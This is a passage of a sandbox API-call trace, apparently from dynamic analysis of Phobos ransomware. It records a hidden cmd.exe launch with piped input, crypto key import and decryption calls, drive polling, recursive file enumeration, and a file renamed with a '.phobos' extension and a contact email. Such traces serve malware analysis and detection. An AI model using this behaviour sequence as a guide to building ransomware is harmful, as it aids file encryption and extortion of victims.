OldValue=0x11bfb60*=0x0) returned 1 [0126.957] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.957] CreatePipe (in: hReadPipe=0x11bfb6c, hWritePipe=0x11bfb70, lpPipeAttributes=0x11bfb48, nSize=0x0 | out: hReadPipe=0x11bfb6c*=0x264, hWritePipe=0x11bfb70*=0x260) returned 1 [0126.957] CreatePipe (in: hReadPipe=0x11bfb68, hWritePipe=0x11bfb64, lpPipeAttributes=0x11bfb48, nSize=0x0 | out: hReadPipe=0x11bfb68*=0x270, hWritePipe=0x11bfb64*=0x274) returned 1 [0126.957] SetHandleInformation (hObject=0x260, dwMask=0x1, dwFlags=0x0) returned 1 [0126.957] SetHandleInformation (hObject=0x270, dwMask=0x1, dwFlags=0x0) returned 1 [0126.958] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x11bfaf4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x264, hStdOutput=0x274, hStdError=0x274), lpProcessInformation=0x11bfb38 | out: lpCommandLine=0x0, lpProcessInformation=0x11bfb38*(hProcess=0x27c, hThread=0x278, dwProcessId=0xf58, dwThreadId=0xf5c)) returned 1 [0126.964] WriteFile (in: hFile=0x260, lpBuffer=0xf113c0*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x11bfb54, lpOverlapped=0x0 | out: lpBuffer=0xf113c0*, lpNumberOfBytesWritten=0x11bfb54*=0x5b, lpOverlapped=0x0) returned 1 [0126.964] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) Thread: id = 289 os_tid = 0xc08 Thread: id = 290 os_tid = 0x9e8 [0131.866] GetLogicalDrives () returned 0x4 [0131.866] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf15280 [0131.866] CryptImportKey (in: hProv=0x7268e0, pbData=0x288fc4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fcb4 | out: phKey=0x288fcb4*=0x739068) returned 1 [0131.866] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x288fc9c, dwFlags=0x0) returned 1 [0131.866] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf15280, pdwDataLen=0x288fc68 | out: pbData=0xf15280, pdwDataLen=0x288fc68) returned 1 [0131.866] CryptDestroyKey (hKey=0x739068) returned 1 [0131.866] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf11508 [0131.866] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x288 [0131.866] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x28c [0131.866] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf18580 [0131.866] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0xe) returned 0xf18568 [0131.866] ResetEvent (hEvent=0x28c) returned 1 [0131.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1333b50, lpParameter=0xf18580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0131.867] CloseHandle (hObject=0x290) returned 1 [0131.867] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10) returned 0xf186a0 [0131.867] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0xe) returned 0xf18658 [0131.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1333b50, lpParameter=0xf186a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0131.867] CloseHandle (hObject=0x290) returned 1 [0131.867] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 291 os_tid = 0xc24 [0131.867] GetLogicalDrives () returned 0x4 [0131.867] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf152c8 [0131.867] CryptImportKey (in: hProv=0x7268e0, pbData=0x29cfb68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x29cfbd0 | out: phKey=0x29cfbd0*=0x739068) returned 1 [0131.867] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x29cfbb8, dwFlags=0x0) returned 1 [0131.867] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf152c8, pdwDataLen=0x29cfb84 | out: pbData=0xf152c8, pdwDataLen=0x29cfb84) returned 1 [0131.867] CryptDestroyKey (hKey=0x739068) returned 1 [0131.867] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf11230 [0131.868] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x290 [0131.868] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x294 [0131.868] GetLogicalDrives () returned 0x4 [0131.868] Sleep (dwMilliseconds=0x3e8) [0132.981] GetLogicalDrives () returned 0x4 [0132.981] Sleep (dwMilliseconds=0x3e8) [0134.015] GetLogicalDrives () returned 0x4 [0134.015] Sleep (dwMilliseconds=0x3e8) [0135.064] GetLogicalDrives () returned 0x4 [0135.064] Sleep (dwMilliseconds=0x3e8) [0136.093] GetLogicalDrives () returned 0x4 [0136.093] Sleep (dwMilliseconds=0x3e8) [0137.096] GetLogicalDrives () returned 0x4 [0137.096] Sleep (dwMilliseconds=0x3e8) [0138.111] GetLogicalDrives () returned 0x4 [0138.111] Sleep (dwMilliseconds=0x3e8) [0139.116] GetLogicalDrives () returned 0x4 [0139.116] Sleep (dwMilliseconds=0x3e8) [0140.154] GetLogicalDrives () returned 0x4 [0140.154] Sleep (dwMilliseconds=0x3e8) Thread: id = 292 os_tid = 0x720 [0131.927] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x38) returned 0xf11260 [0131.927] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x18) returned 0xf112a0 [0131.927] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x298 [0131.927] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c [0131.927] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a0 [0131.928] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b10048 [0131.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x12fff40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0131.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x12fff40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0131.929] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b20050 [0131.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x12ffcb8 | out: lpFindFileData=0x12ffcb8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12ffee0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x739068 [0131.929] GetLastError () returned 0x0 [0131.929] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x214) returned 0xf1a440 [0131.930] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0131.930] GetCurrentThreadId () returned 0x720 [0131.930] SetLastError (dwErrCode=0x0) [0131.930] GetLastError () returned 0x0 [0131.930] SetLastError (dwErrCode=0x0) [0131.930] GetLastError () returned 0x0 [0131.930] SetLastError (dwErrCode=0x0) [0131.930] GetLastError () returned 0x0 [0131.930] SetLastError (dwErrCode=0x0) [0131.930] GetLastError () returned 0x0 [0131.930] SetLastError (dwErrCode=0x0) [0131.930] GetLastError () returned 0x0 [0131.930] SetLastError (dwErrCode=0x0) [0131.930] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b30058 [0131.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0131.931] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0131.931] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0131.931] GetLastError () returned 0x0 [0131.931] SetLastError (dwErrCode=0x0) [0131.931] GetLastError () returned 0x0 [0131.931] SetLastError (dwErrCode=0x0) [0131.931] GetLastError () returned 0x0 [0131.931] SetLastError (dwErrCode=0x0) [0131.931] GetLastError () returned 0x0 [0131.931] SetLastError (dwErrCode=0x0) [0131.931] GetLastError () returned 0x0 [0131.931] SetLastError (dwErrCode=0x0) [0131.931] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b40060 [0131.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7390a8 [0131.932] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.932] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb6c4f1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecb6c4f1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecbdeca4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0131.932] GetLastError () returned 0x0 [0131.932] SetLastError (dwErrCode=0x0) [0131.932] GetLastError () returned 0x0 [0131.932] SetLastError (dwErrCode=0x0) [0131.932] GetLastError () returned 0x0 [0131.932] SetLastError (dwErrCode=0x0) [0131.932] GetLastError () returned 0x0 [0131.932] SetLastError (dwErrCode=0x0) [0131.932] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.933] SetLastError (dwErrCode=0x0) [0131.933] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.934] SetLastError (dwErrCode=0x0) [0131.934] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.935] SetLastError (dwErrCode=0x0) [0131.935] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.936] SetLastError (dwErrCode=0x0) [0131.936] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.937] SetLastError (dwErrCode=0x0) [0131.937] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.938] SetLastError (dwErrCode=0x0) [0131.938] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.939] SetLastError (dwErrCode=0x0) [0131.939] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.940] SetLastError (dwErrCode=0x0) [0131.940] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.941] SetLastError (dwErrCode=0x0) [0131.941] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.942] GetLastError () returned 0x0 [0131.942] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.943] SetLastError (dwErrCode=0x0) [0131.943] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.944] SetLastError (dwErrCode=0x0) [0131.944] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.945] SetLastError (dwErrCode=0x0) [0131.945] GetLastError () returned 0x0 [0131.946] SetLastError (dwErrCode=0x0) 